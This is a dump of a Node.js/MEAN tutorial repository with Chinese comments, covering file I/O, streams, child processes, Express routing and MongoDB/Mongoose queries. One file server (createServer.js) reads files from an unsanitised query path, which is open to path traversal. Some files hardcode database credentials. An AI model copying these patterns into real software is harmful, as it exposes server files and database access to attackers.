codiumsa/react-linkedin-login
9c8be945f6cbb908b505ce7561fde1ce0a3de8c5
1f4478cbb3ddabfd245898a389b73a94a81d01e4
refs/heads/master
<repo_name>yhb2010/demo_MEAN<file_sep>/c28shoppingcart/controllers/products_controller.js var mongoose = require('mongoose'), Product = mongoose.model('Product'); //获取产品列表 ///products/get exports.getProducts = function(req, res) { Product.find() .exec(function(err, products) { if (!products){ res.json(404, {msg: 'Products Not Found.'}); } else { res.json(products); } }); };<file_sep>/c6file/writesync.js var fs = require('fs'); var arr = ["我要", "长啥", "哈哈哈"]; var fd = fs.openSync("./file/writesync.txt", "w"); while(arr.length){ var str = arr.pop() + " "; //offset指定data参数中开始阅读的索引,如果你想从字符串或缓冲区的当前索引开始,则传入null //length指定要写入的字节数,可以指定null,表示一直写到数据缓冲区的末尾 //position指定在文件中开始写入的位置,若要使用文件的当前位置,则输入null var byte = fs.writeSync(fd, str, null, null); console.log("Write %s %dbytes", str, byte); }<file_sep>/c6file/filetruncate.js //截断文件 var fs = require('fs'); //fs.truncate("./file/writeFile.txt", function(err){ //把文件截断成0 //}) fs.truncate("./file/writeFile.txt", 5, function(err){ //把文件截断后,要保留的字节数 })<file_sep>/c9process/fork/child_fork.js //fork:其目的是执行在一个单独的处理器上运行的另一个V8引擎实例的Node.js模块代码。你可以用派生来并行运行多个服务, //不过这需要时间来运转V8的一个新实例,每个实例需要大约10M的内存,你不应该需要大量的派生进程,不要创建比你的CPU数目更多的进程 var child_process = require("child_process"); //env:一个对象,它指定key:value作为环境的键值对 //encoding:指定把数据写入输出流时和穿越send()IPC机制时使用的编码 //cwd:指定子进程的当前工作目录 //execPath:指定用于创建产生的node.js进程的可执行文件,这可以让你对node.js不同进程使用不同的版本,不过这是不推荐的 //silent:一个布尔值,为true则将导致在派生的进程中的stdout和stderr不与父进程相关联,默认为false var options = { env : {user : "Brad"}, encoding : "utf8" }; function makeChild(){ //第二个参数是一个数组,用于指定传递给node命令的命令行参数 var child = child_process.fork("chef.js", [], options); child.on("message", function(message){ console.log("Served: " + message); }); return child; } function sendCommand(child, command){ console.log("Requesting: " + command); child.send(command); } var child1 = makeChild(); var child2 = makeChild(); var child3 = makeChild(); sendCommand(child1, "makeBreakfast"); sendCommand(child2, "makeLunck"); sendCommand(child3, "makeDinner");<file_sep>/c27comments/models/photo_model.js //照片模型 var mongoose = require('mongoose'), Schema = mongoose.Schema; var PhotoSchema = new Schema({ title : String, filename : String, timestamp : { type : Date, default: Date.now } }, { _id : true }); mongoose.model('Photo', PhotoSchema);<file_sep>/c18express/param.js //传递参数的4种形式 //1、查询字符串 //2、post参数 //3、正则 //4、定义的参数 var express = require('express') , app = express(); var url = require('url'); app.listen(8000); //1、查询字符串 app.get("/find", function(req, res){ var url_param = url.parse(req.url, true); var query = url_param.query; res.send("find book: author: " + query.author + " title: " + query.title); }); //地址:http://test.chinaacc.com:8000/find?author=Brad&title=Node //4、定义的参数 app.get('/user/:userid', function (req, res) { var response = 'Get User: ' + req.param('userid'); console.log('\nParam URL: ' + req.originalUrl); console.log(response); res.send(response); }); //在解析url时,如果express发现某个参数有注册的回调函数,它就在调用路由处理程序之前调用参数的回调函数,你可以为一个路由注册多个回调函数 //next参数是一个用于已注册的下一个app.param()回调的回调函数(如果有的话) app.param('userid', function(req, res, next, value){ console.log("\nRequest received with userid: " + value); next(); }); //地址:http://test.chinaacc.com:8000/user/4983<file_sep>/c27comments/models/comments_model.js //评论模型:一条主题,下面嵌套多个评论 var mongoose = require('mongoose'), Schema = mongoose.Schema; var ReplySchema = new Schema({ username : String, subject : String, body : String, timestamp : { type : Date, default: Date.now } }, { _id : true }); var CommentThreadSchema = new Schema({ username : String, subject : String, body : String, replies : [ ReplySchema ], photoId : Schema.ObjectId }, { _id : true }); mongoose.model('Reply', ReplySchema); mongoose.model('CommentThread', CommentThreadSchema);<file_sep>/c13nodemongodb/insert.js //插入 var MongoClient = require('mongodb').MongoClient; var url = 'mongodb://localhost:10001/test'; var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true}, replSet : {}, mongos : {} } MongoClient.connect(url, options, function(err, db) { if(db){ db.collection("user", function(err, collection){ addObject(collection, {"name" : "chenli", "password" : "<PASSWORD>"}); addObject(collection, {"name" : "wangwu", "password" : "<PASSWORD>"}); addObject(collection, {"name" : "zhaosi1", "password" : "<PASSWORD>"}); }); setTimeout(function(){ db.close(); }, 3000); }else{ console.log("error"); } }); function addObject(collection, object){ collection.insert(object, function(err, result){ if(!err){ console.log("inserted: " + result.ops[0].name); } }) }<file_sep>/c6file/readsync.js var fs = require('fs'); var fd = fs.openSync("./file/writesync.txt", "r"); var arr =[]; do{ var buf = new Buffer(5); buf.fill(); var bytes = fs.readSync(fd, buf, null, 5); console.log("read %dbytes", bytes); arr.push(buf.toString()); }while(bytes > 0); fs.closeSync(fd); console.log(arr);<file_sep>/c13nodemongodb/database.js //数据库操作 var MongoClient = require('mongodb').MongoClient; // Connection URL //mongodb://username:password@host:port/database var url = 'mongodb://localhost:10001/test'; // Use connect method to connect to the Server var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true}, replSet : {}, mongos : {} } MongoClient.connect(url, options, function(err, db) { if(db){ console.log("connected via client object"); console.log("auth via client object"); //创建数据库:不能直接创建数据库,只能在数据库里新建集合,就可以自然创建数据库 var newDb = db.db("newDb"); newDb.createCollection("newCollection", function(err, collection){ if(!err){ console.log("createed ok"); newDb.dropDatabase(function(err, results){ console.log("deleted ok"); db.close(); }) } }) }else{ console.log("error"); } });<file_sep>/c17mongodbhigh/repl.js //操作副本集 var MongoClient = require('mongodb').MongoClient; var url = 'mongodb://127.0.0.1:10002,127.0.0.1:10003,127.0.0.1:10004/test?replicaSet=blort'; var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true} } MongoClient.connect(url, options, function(err, db){ if(db){ db.collection("user", function(err, collection){ addObject(collection, {"name" : "chenli", "password" : "<PASSWORD>"}); addObject(collection, {"name" : "wangwu", "password" : "<PASSWORD>"}); addObject(collection, {"name" : "zhaosi1", "password" : "<PASSWORD>"}); }); setTimeout(function(){ db.close(); }, 1000); }else{ console.log(err); } }); function addObject(collection, object){ collection.insert(object, function(err, result){ if(!err){ console.log("inserted: " + result); }else{ console.log(err); } }) }<file_sep>/c18express/all.js var express = require('express') , app = express(); app.all("*", function(req, res){ //全部路径的全局处理程序,可以用于记录日志 }); app.all("/user/*", function(req, res){ ///user路径的全局处理程序,可以用于记录日志 });<file_sep>/c5dataio/streamreadandwrite.js //读取流 //实现自定义Readable,首先要继承Readable var stream = require("stream"); var util = require("util"); var fs = require('fs'); function Love() { stream.Readable.call(this); this._max = 5; this._index = 0; } util.inherits(Love, stream.Readable); Love.prototype._read = function() { var i = this._index++; if (i > this._max) { this.push('beautiful'); this.push(null); } else { var str = '' + i; var buf = new Buffer(str, 'utf8'); this.push(buf); } }; function Story() { stream.Writable.call(this); this._storage = new Buffer(''); } util.inherits(Story, stream.Writable); Story.prototype._write = function(chunk, encoding, callback) { this._storage = Buffer.concat([ this._storage, chunk ]); callback(); }; var reader = new Love(); var writer = new Story(); reader.on('readable', function() { var chunk; //read()从流中读取数据,这些数据可以是String,Buffer,null(null表示没有剩下更多的数据),如果指定size参数,那么被读取的数据将仅限于那个字节数 while (null !== (chunk = reader.read())) { //将数据块写入流对象的数据位置,该数据可以是字符串或缓冲区,如果指定encoding,那么将其用于对字符数据的编码,如果指定callback,那么它在数据已被刷新后被调用 writer.write(chunk); } }); reader.on('end', function() { //end与write相同,除了它把Writable对象置于不再接收数据的状态,并发送finish事件外 writer.end(); }); writer.on('finish', function() { fs.writeFileSync('./file/output2.txt', this._storage); });<file_sep>/c18express/express_templates.js var express = require('express'), jade = require('jade'), ejs = require('ejs'); var app = express(); //把./view目录设置为模板文件的根 app.set('views', './views'); //默认模板引擎jade app.set('view engine', 'jade'); //为自己希望使用app.engine(ext, callback)方法来处理的模板扩展名注册模板引擎,ext是模板文件的扩展名,callback是支持Express的呈现功能的函数 //许多模板引擎在一个__express函数中提供了回调功能,__express往往只能在默认的文件扩展名上工作 app.engine('jade', jade.__express); //把ejs的扩展名注册为html,就需要用到ejs提供的renderFile函数 app.engine('html', ejs.renderFile); app.listen(8000); //locals设置本地模板变量 //也可以app.locals({title:"app name", version:10}) app.locals.uname = "Brad"; app.locals.vehicle = "Jeep"; app.locals.terrain = "Mountains"; app.locals.climate = "Desert"; app.locals.location = "Unknown"; app.get('/jade', function (req, res) { //res.render直接把模板呈现为响应,无需回调 res.render('user_jade'); }); app.get('/ejs', function (req, res) { //app.render呈现模板 //第二个参数是一个locals对象(如果没有在app.locals中定义这样一个locals对象) //回调函数的第二个参数是呈现后的模板的字符串形式 app.render('user_ejs.html', function(err, renderedData){ res.send(renderedData); }); });<file_sep>/c16mongoose/aggregate.js var mongoose = require('mongoose'); var db = mongoose.connect('mongodb://localhost:10001/words'); var wordSchema = require('./wordSchema.js').wordSchema; var Words = mongoose.model('Words', wordSchema); setTimeout(function() { mongoose.disconnect(); }, 3000); mongoose.connection.once('open', function() { //以元音开头的单词 Words.aggregate([ {$match : {first : {$in : [ 'a', 'e', 'i', 'o', 'u' ]}}}, {$group : { _id : "$first", largest : {$max : "$size"}, smallest : {$min : "$size"}, total : {$sum : 1} }}, {$sort : {_id : 1}} ], function(err, results) { console.log("\nLargest and smallest word sizes for " + "words beginning with a vowel: "); console.log(results); }); var aggregate = Words.aggregate(); aggregate.match({size : 4}); aggregate.limit(5); //在管道上追加额外操作 aggregate.append({$project : {_id : "$word", stats : 1}}); aggregate.exec(function(err, results) { console.log("\nStats for 5 four letter words: "); console.log(results); }); var aggregate = Words.aggregate(); aggregate.group({_id : "$first", average : {$avg : "$size"}}); aggregate.sort('-average'); aggregate.limit(5); aggregate.exec(function(err, results) { console.log("\nLetters with largest average word size: "); console.log(results); }); });<file_sep>/c9process/cluster/cluster_worker.js //工作进程 var cluster = require("cluster"); var http = require("http"); if(cluster.isWorker){ http.Server(function(req, res){ res.writeHead(200); res.end("work发送给客户端:Process " + process.pid + " say hello"); process.send("work发送给服务器端:Process" + process.pid + " handle request"); }).listen(1337, function(){ console.log("Child Server Running on Process: " + process.pid); }); }<file_sep>/c6file/readFile.js var fs = require('fs'); var options = {encoding : "utf8", flag : "r"}; fs.readFile("./file/writeFile.txt", options, function(err, data){ if(err){ console.log("config write failed"); }else{ console.log("config loaded"); var config = JSON.parse(data); console.log(config); } })<file_sep>/c17mongodbhigh/cappedcollction.js //创建封顶集合 var MongoClient = require('mongodb').MongoClient; var url = 'mongodb://localhost:10001/test'; var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true}, replSet : {}, mongos : {} } MongoClient.connect(url, options, function(err, db) { if(db){ console.log("connected via client object"); console.log("auth via client object"); //创建封顶集合,size:字节为单位,max:最大文档数量 db.createCollection("newCollection", {capped : true, size : 1000, max : 2}, function(err, collection){ console.log("----------------------"); console.log("collection created ok"); addObject(collection, {"name" : "chenli", "password" : "<PASSWORD>"}); addObject(collection, {"name" : "wangwu", "password" : "<PASSWORD>"}); addObject(collection, {"name" : "zhaosi1", "password" : "<PASSWORD>"}); //结果: //> db.newCollection.find() //{ "_id" : ObjectId("5<PASSWORD>c89241248659e45"), "name" : "wangwu", "password" : "<PASSWORD>" } //{ "_id" : ObjectId("5<PASSWORD>"), "name" : "zhaosi1", "password" : "<PASSWORD>" } }) }else{ console.log("error"); } }); function addObject(collection, object){ collection.insert(object, function(err, result){ if(!err){ console.log("inserted: " + result); } }) } //mongoose中:var s = new Schema({name : String, value : Number}, {capped : true, size : 1000, max : 2});<file_sep>/c18express/download_file.js //download:下载文件 var express = require('express'); var url = require('url'); var app = express(); app.listen(8000); app.get('/image', function (req, res) { //path:文件路径 //filename:在Content-Disposition标头中发送的文件名 res.download('./views/arch.jpg', "图片.jpg", function(err){ if (err){ console.log(err); } else { console.log("Success"); } }); });<file_sep>/c13nodemongodb/admin.js var MongoClient = require('mongodb').MongoClient; // Connection URL //mongodb://username:password@host:port/database var url = 'mongodb://localhost:10001/test'; // Use connect method to connect to the Server var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true}, replSet : {}, mongos : {} } MongoClient.connect(url, options, function(err, db) { if(db){ console.log("connected via client object"); console.log("auth via client object"); //以下操作必须在admin库进行 var adminDb = db.admin(); //查看服务器状态 adminDb.serverStatus(function(err, status){ console.log("-----------------------"); console.log(status); }); //ping mongodb服务 adminDb.ping(function(err, result){ console.log("-----------------------"); console.log(result); }); //获取数据库列表 adminDb.listDatabases(function(err, databases){ console.log("-----------------------"); console.log(databases); }); //db.close(); }else{ console.log("error"); } });<file_sep>/c7http/url.js var url = require("url"); var querystring = require("querystring"); var urlStr = "http://user:pass@host.com:80/resource/path?query=string#hash"; //parse第二个参数:默认为false,如果为true,把url查询字符串部分解析为对象字面量 //第三个参数默认为false,如果为true,把//host/path的url解析为{"host":"host", "pathname":"/path"},而不是{"pathname":"//host/path"} var urlObj = url.parse(urlStr); console.log(urlObj); var url2 = url.format(urlObj); console.log(url2); //修改url,解析到新的位置 var urlStr2 = "http://user:pass@host.com:80/resource/path?query=string#hash"; var newResource = "/another/path?querynew=string2"; console.log(url.resolve(urlStr2, newResource)); var qs = "name=zhang&color=red&color=blue"; //sep:分隔符,默认是& //eq:赋值运算符,默认是= var params = querystring.parse(qs); console.log(params); var qsnew = querystring.stringify(params); console.log(qsnew);<file_sep>/c13nodemongodb/connect_pool.js //https://github.com/mongodb/node-mongodb-native var Db = require("mongodb").Db; var Server = require("mongodb").Server; //Server对象的选项: //1、readPrefernce:指定从副本集读取对象时使用的首选项,设置首选项可以优化读取操作,如 //ReadPreference.PRIMARY、ReadPreference.PRIMARY_PREFERRED、ReadPreference.SECONDARY、ReadPreference.SECONDARY_PREFERRED、ReadPreference.NEAREST //2、ssl:布尔值,为true时,表示该连接使用SSL //3、poolSize:指定在服务器连接池使用的连接数,默认是5,这意味着可以有多达5个由MongoClient共享的连接连接到该数据库 //4、socketOptions选项:定义套接字创建选项,包括: // noDelay:布尔值,指定无延迟套接字 // keepAlive:指定套接字保持活动的时间 // connectTimeoutMS:指定连接在超时之前等待的时间量,以毫秒为单位 // socketTimeoutMS:指定套接字在超时之前等待的时间量,以毫秒为单位 //5、auto_reconnect:布尔值,为true时,表示该客户端在遇到错误时将尝试重新连接 //MongoClient的选项: //1、w:指定数据库连接的写入关注的级别 //2、wtimeout:指定等待写入关注结束的时间量,以毫秒为单位,这个值被加到正常连接的超时值上 //3、fsync:布尔值,为true让写请求在返回前等待fsync完成 //4、journal:布尔值,为true让写请求在返回前等待日志同步完成 //5、retryMilliSeconds:指定重试连接时等待的毫秒数,默认是5000 //6、numberOfRetries:指定失败之前重试连接的次数,默认是5 //7、bufferMaxEntries:指定连接失败前将被缓冲等待连接操作的最大数量,默认值是-1,是没有限制的 var server = new Server("localhost", 10001, { socketOptions : {connectTimeoutMS : 500}, poolSize : 5, auto_reconnect : true }); var db = new Db("test", server); db.open(function(err, db){ if(db){ console.log("connected via client object"); db.authenticate('zsl5', '19820206', function(err, results){ if(err){ console.log("auth failed"); db.close(); console.log("connection close"); }else{ console.log("auth via client object"); db.logout(function(err, result){ if(!err){ console.log("logged out via client object"); } db.close(); console.log("connection close"); }); } }); } });<file_sep>/c27comments/static/js/comment_app.js var app = angular.module('myApp', []); function CommentObj($http) { this.getComments = function(photoId, callback){ $http.get('/comments/get', {params: {photoId: photoId}}) .success(function(data, status, headers, config) { callback(null, data); }) .error(function(data, status, headers, config) { callback(data, {}); }); }; this.addComment = function(photoId, newComment, callback){ $http.post('/comments/add', { photoId: photoId, newComment: newComment }) .success(function(data, status, headers, config) { callback(null, data); }) .error(function(data, status, headers, config) { }); }; this.addReply = function(commentId, newComment, callback){ $http.post('/comments/update', { commentId: commentId, newComment: newComment }) .success(function(data, status, headers, config) { callback(null, data); }) .error(function(data, status, headers, config) { }); }; } app.service('commentSrv', ['$http', CommentObj]); app.controller('myController', ['$scope', '$http','commentSrv', function($scope, $http, commentSrv) { $scope.photo; }]); app.controller('photoController', ['$scope', '$http', 'commentSrv', function($scope, $http, commentSrv) { //获取服务器端的照片 $http.get('/photos') .success(function(data, status, headers, config) { $scope.photos = data; photo = $scope.photoc = $scope.photos[0]; $scope.loadComments(); }) .error(function(data, status, headers, config) { $scope.photos = []; }); //通过单击一张照片,获取服务器端的照片数据 $scope.setPhoto = function(photoId){ $http.get('/photo', {params: {photoId: photoId}}) .success(function(data, status, headers, config) { photo = $scope.photoc = data; $scope.loadComments(); }) .error(function(data, status, headers, config) { photo = $scope.photoc = {}; }); }; //加载评论 $scope.loadComments = function(){ commentSrv.getComments(photo._id, function(err, comment){ if(err){ $scope.commentThreads = {}; } else { $scope.commentThreads = comment; } }); }; //添加评论 $scope.addCommentThread = function(subject, body){ var newComment = {subject:subject, body:body}; commentSrv.addComment(photo._id, newComment, function(err, comment){ $scope.loadComments(); }); }; //添加评论回复 $scope.addReply = function(commentId, subject, body){ var newComment = {subject:subject, body:body}; commentSrv.addReply(commentId, newComment, function(err, comment){ $scope.loadComments(); }); }; }]); app.controller('pageController', ['$scope', '$http','commentSrv', function($scope, $http, commentSrv) { //添加评论 $scope.addCommentThread = function(subject, body){ var newComment = {subject:subject, body:body}; commentSrv.addComment(photo._id, newComment, function(err, comment){ }); }; }]);<file_sep>/c13nodemongodb/update.js //更新 var MongoClient = require('mongodb').MongoClient; var url = 'mongodb://localhost:10001/test'; var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true}, replSet : {}, mongos : {} } MongoClient.connect(url, options, function(err, db) { if(db){ db.collection("user", function(err, collection){ collection.update({"name" : "zhangsulei"}, {$set : {"password" : "<PASSWORD>", "salary" : 250020}}, {upsert : false, multi : true, w : 1}, function(err, results){ if(err){ console.log(err); }else{ console.log(results); } }); }); db.collection("user", function(err, collection){ //findAndMondify执行原子写操作 collection.findAndModify({"name" : "chenli"}, //sort指定找到要修改的条目时要进行排序的字段 [["name" , 1]], {$set : {"password" : "<PASSWORD>", "salary" : 25000}}, //new为true表示返回新修改的对象,为false表示返回修改前的对象 {"new" : true, w : 1}, //results是被修改的对象 function(err, results){ if(err){ console.log(err); }else{ console.log(results); } }); }); setTimeout(function(){ db.close(); }, 6000); }else{ console.log("error"); } });<file_sep>/c16mongoose/find.js var mongoose = require('mongoose'); mongoose.connect("mongodb://localhost:10001/words"); var wordSchema = require('./wordSchema.js').wordSchema; // 提供了在模型中并随后在mongodb集合中访问、更新、移除对象的功能,和collection大致一样 var Words = mongoose.model('Words', wordSchema); setTimeout(function(){ mongoose.disconnect(); }, 3000); //可以在query对象上定义查询运算符的方法 //where:为运算符设置当前字段路径,如果value也包含在内,那么只有其中该字段值等于value的文档才包含在内。如where("name", "zhangsulei") //gt:匹配大于在查询中指定的设定value的值,如gt("size", 5) //gte、lt、lte、ne、in、nin //or:用逻辑or链接查询子句,并返回匹配任何子句的设定conditions的所有文档,如or([{size : {$lt : 5}}, {size : {$gt : 5}}]) //and、nor //exists:匹配具有指定字段的文档,如查询有name字段的文档和没有title字段的文档:exists("name", true); exists("title", false); //mod:取模 //regex //all:匹配包含在array参数中指定的所有元素的数组字段,如all("myArr", ["one", "two"]) //elemMatch:如果子文档的数组中的元素具有匹配所有指定的elemMatch标准的字段,选择此文档。如:elemMatch("item", {value : 5}, size : {$lt : 3}) //elemMatch("item", function(elem){elem.where("value", 5); elem.where("size").gt(3);}) //size //query和mode对象上设置数据库的操作选项 //setOptions:设置执行数据库请求时,用于与mongodb交互的选项,参照15.2 //limit:设置在结果中包含的文档的最大数量 //select:指定应包含在结果集的每个文档中的字段,这些字段的参数可以是一个空格分隔的字符串或对象,当使用字符串方法时,在字段名的开头添加一个+强制列入该字段,即使它在文档中不存在,添加一个-来排除该字段 //如:select("name +title -value"); select({name : 1, title : 1, value : 0}) //sort:以字符串形式或对象形式指定进行排序的字段,如:sort("name -value"); sort({name : 1, value : -1}) //skip //read:允许你设置读取首选项 //snapshot:为true时把查询设置为快照查询 //safe:为true时,数据库请求对更新操作使用写入关注 //hint:指定查找文档时要使用或排除的索引,使用1表示包含,使用-1表示排除,如:hint(name : 1, title : -1) //comment:将String连同查询添加到mongodb日志中,这对于识别在日志文件中的查询是有用的 //可以在query和model对象上设置数据库操作的方法 //create:把objects参数中指定的对象插入mongodb数据库,objects参数可以是一个js对象或js数组,为每个对象都创建一个针对模型的document对象实例,回调函数接受一个错误对象作为第一个参数,而被保存的文档作为其他参数 //count:设置操作为count,回调函数执行时,返回的结果是匹配query的项数 //distinct:设置操作为distinct,这将结果限制为执行回调时指定字段的不同值的数组 //find:设置操作为find,这将返回匹配query的document对象的数组 //findOne:设置操作为findOne,这将返回匹配query的第一个document对象 //findAndRemove:设置操作为findAndRemove,这将删除集合中第一个匹配query的文档 //findAndUpdate:设置操作为findAndUpdate,这将更新集合中第一个匹配query的文档,update操作在update参数中被指定,可以使用的update运算符见14.2 //remove:设置操作为remove,这将删除集合中匹配query的所有文档 //update:设置操作为update,这将更新集合中匹配query的所有文档,update操作在update参数中被指定,可以使用的update运算符见14.2 //aggregate:集合应用一个或多个聚合operators,回调函数接受一个错误作为第一个参数和表示聚合结果的js对象数据作为第二个参数 mongoose.connection.once('open', function(){ //query对象如果没有传入callback函数,mongodb请求不会发送,会返回一个query对象,允许你在执行它之前添加额外的功能要求 //first属于'a', 'e', 'i', 'o', 'u'范围的单词 var query = Words.count().where('first').in(['a', 'e', 'i', 'o', 'u']); //last属于'a', 'e', 'i', 'o', 'u'范围的单词 query.where('last').in(['a', 'e', 'i', 'o', 'u']); //的个数 query.exec(function(err, count){ console.log("\nThere are " + count + " words that start and end with a vowel"); }); //按size大小排序,取前5个 query.find().limit(5).sort({size : -1}); query.exec(function(err, docs){ console.log("\nLongest 5 words that start and end with a vowel: "); for (var i in docs){ console.log(docs[i].word); } }); query = Words.find(); //大小是偶数个单词 query.mod('size', 2, 0); //大小大于6个单词 query.where('size').gt(6); //取10个 query.limit(10); //只返回word、size字段 query.select({word : 1, size : 1}); query.exec(function(err, docs){ console.log("\nWords with even lengths and longer than 6 letters: "); for (var i in docs){ console.log(JSON.stringify(docs[i])); } }); });<file_sep>/c5dataio/streamread.js //读取流 //实现自定义Readable,首先要继承Readable var stream = require("stream"); var util = require("util"); util.inherits(Answer, stream.Readable); function Answer(opt){ //创建对象调用的实例 stream.Readable.call(this, opt); this.quotes = ["yes", "no", "maybe"]; this._index = 0; } //实现调用push()来输出Readable对象中的数据的_read()方法,push调用应推入的是一个String、Buffer、null //在初始化时,会自动调用_read方法,利用this.push方法写入内容到内部存储buffer(进货)。 Answer.prototype._read = function(){ if(this._index >= this.quotes.length){ this.push(null); }else{ this.push(this.quotes[this._index]); console.log("------------------read: " + this.quotes[this._index]); this._index++; } } var r = new Answer(); //read()从流中读取第一个条目 console.log("Direct read: " + r.read().toString()); //data类似于readable,不同之处在于,当数据的事件处理程序被连接时,流被转变成流动的模式,并且数据处理程序被连续的调用,直到所有数据都被用尽 //读取其余的条目 r.on("data", function(data){ console.log("CallBack read: " + data.toString()); }) //end当数据将不再被提供时由流发出 r.on("end", function(data){ console.log("No more answers"); })<file_sep>/c6file/read.js var fs = require('fs'); var arr = []; function readArr(fd){ var buf = new Buffer(5); buf.fill(); fs.read(fd, buf, 0, 5, null, function(err, bytes, data){ if(bytes > 0){ console.log("Read %dbytes", bytes); arr.push(data); readArr(fd); }else{ fs.close(fd); console.log("arr: " + arr); } }) } fs.open("./file/write.txt", "r", function(err, fd){ readArr(fd); })<file_sep>/c7http/createServer.js var fs = require("fs"); var http = require("http"); var url = require("url"); var ROOT_DIR = "./file/"; http.createServer(function(req, res){ var urlObj = url.parse(req.url, true, true); fs.readFile(ROOT_DIR + urlObj.query.path, function(err, data){ console.log(ROOT_DIR + urlObj.query.path); if(err){ res.writeHead(404); res.end(JSON.stringify(err)); return; } res.writeHead(200); res.end(data) }); }).listen(1337, '127.0.0.1'); console.log('Server running at http://127.0.0.1:1337?path=createServer.txt');<file_sep>/c15query/distinct.js var MongoClient = require('mongodb').MongoClient; var url = 'mongodb://localhost:10001/words'; var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true}, replSet : {}, mongos : {} } MongoClient.connect(url, options, function(err, db) { if(db){ db.collection("word_stats", distinctValues); setTimeout(function(){ db.close(); }, 3000); }else{ console.log("error"); } }); function distinctValues(err, words){ //distinct(key, query, options, callback) //key:你想要得到的值的字段名 //query:查询条件 //options:options对象 words.distinct('size', function(err, values){ console.log("\nSizes of words: "); console.log(values); }); words.distinct('word', {last:'h'}, function(err, values){ console.log("\n以h结尾的不同单词: "); console.log(values); }); words.distinct('stats.vowels', function(err, values){ console.log("\nNumbers of vowels in words: "); console.log(values); }); }<file_sep>/c6file/writeFileStream.js //流式文件写入:end()方法执行时会触发close事件 //往一个文件写入大量数据时,最好是使用流 var fs = require('fs'); var arr = ["我要", "长啥", "哈哈哈"]; var options = {encoding : "utf8", flag : "w"}; var f = fs.createWriteStream("./file/writeFileStream.txt", options); f.on("close", function(){ console.log("file closed"); }); while(arr.length){ var str = arr.pop() + " "; f.write(str); console.log("Write: %s", str); } f.end();<file_sep>/c16mongoose/removeone.js var mongoose = require('mongoose'); var db = mongoose.connect('mongodb://localhost:10001/words'); var wordSchema = require('./wordSchema.js').wordSchema; var Words = mongoose.model('Words', wordSchema); // 删除单个文档,用document的remove mongoose.connection.once('open', function() { var query = Words.findOne().where('word', 'happy'); query.exec(function(err, doc) { console.log("Before Delete: "); console.log(doc); doc.remove(function(err, deletedDoc) { Words.findOne({ word : 'happy' }, function(err, doc) { console.log("\nAfter Delete: "); console.log(doc); mongoose.disconnect(); }); }); }); });<file_sep>/c15query/fields.js //限制返回的字段,1返回,0不返回 var MongoClient = require('mongodb').MongoClient; var url = 'mongodb://localhost:10001/words'; var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true}, replSet : {}, mongos : {} } MongoClient.connect(url, options, function(err, db) { if(db){ db.collection("word_stats", findItems); setTimeout(function(){ db.close(); }, 3000); }else{ console.log("error"); } }); function displayWords(msg, cursor, pretty){ cursor.toArray(function(err, itemArr){ console.log("\n" + msg); var wordList = []; for(var i=0; i<itemArr.length; i++){ wordList.push(itemArr[i].word + ", " + itemArr[i].last); } console.log(JSON.stringify(wordList, null, pretty)); }); } var options = {limit : 5, fields : {word : 1, first : 1}}; function findItems(err, words){ words.find({first : {$in : ["a", "b", "c"]}}, options, function(err, cursor){ displayWords("以a, b or c开头的单词:", cursor); }); words.find({size : {$gt : 12}}, options, function(err, cursor){ displayWords("长度大于12的单词:", cursor); }); //mod第一个参数是除数,第二个参数是余数 words.find({size : {$mod : [2, 0]}}, options, function(err, cursor){ displayWords("长度是偶数的单词:", cursor); }); words.find({letters : {$size : 3}}, options, function(err, cursor){ displayWords("由3个不重复的字母组成的单词:", cursor); }); words.find({$and : [{first : {$in : ["a", "e", "i", "o", "u"]}}, {last : {$in : ["a", "e", "i", "o", "u"]}}]}, options, function(err, cursor){ displayWords("以'a', 'e', 'i', 'o', 'u'开头,并且以'a', 'e', 'i', 'o', 'u'结尾的单词:", cursor); }); words.find({"stats.vowels" : {$gt : 3}}, options, function(err, cursor){ displayWords("包含4个及以上元音的单词:", cursor); }); words.find({letters : {$all : ["a", "e", "i", "o", "u"]}}, options, function(err, cursor){ displayWords("包含5个元音的单词:", cursor); }); words.find({otherChars : {$exists : true}}, options, function(err, cursor){ displayWords("包含非单词的单词:", cursor); }); words.find({charsets : {$elemMatch : {$and : [{type : "other"}, {chars : {$size : 1}}]}}}, options, function(err, cursor){ displayWords("包含1个非单词的单词:", cursor); }); }<file_sep>/c13nodemongodb/connect_pool2.js var MongoClient = require('mongodb').MongoClient; // Connection URL //mongodb://username:password@host:port/database var url = 'mongodb://zsl5:19820206@localhost:10001/test'; // Use connect method to connect to the Server var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true}, replSet : {}, mongos : {} } MongoClient.connect(url, options, function(err, db) { if(db){ console.log("connected via client object"); console.log("auth via client object"); db.logout(function(err, result){ if(!err){ console.log("logged out via client object"); } db.close(); console.log("connection close"); }); }else{ console.log("error"); } });<file_sep>/c19middleware/intro.js //允许你在接收到请求的时点及你真正处理请求和发送响应的时点之间提供附加功能,中间件可以应用身份验证,cookie和会话,并且在请求被传递给一个处理程序之前,以其他方式处理它 //要对所有路由使用中间件,可以在express app对象上实现use()方法,use()方法语法如下 //use([path], middleware) //path是可选的,默认为/,这意味着所有的路径 //你也可以通过把单独的路由放在path参数后来对其应用body-parser中间件 var express = require("express"); var bodyParser = require("body-parser"); var app = express(); //对parseRoute请求应用bodyParser app.get("/parseRoute", bodyParser(), function(req, res){ res.send("this request war logged."); }); //对otherRoute请求不应用 app.get("/otherRoute", function(req, res){ res.send("this request war logged."); }); //添加多个中间件 var cookieParse = require("cookie-parser"); app.use("/", bodyParser()).use("/", cookieParse());<file_sep>/c18express/send.js var express = require('express'); var url = require('url'); var app = express(); app.listen(8000); app.get('/', function (req, res) { var response = '<html><head><title>Simple Send</title></head>' + '<body><h1>Hello from Express</h1></body></html>'; //200:ok //300:Redirection重定向 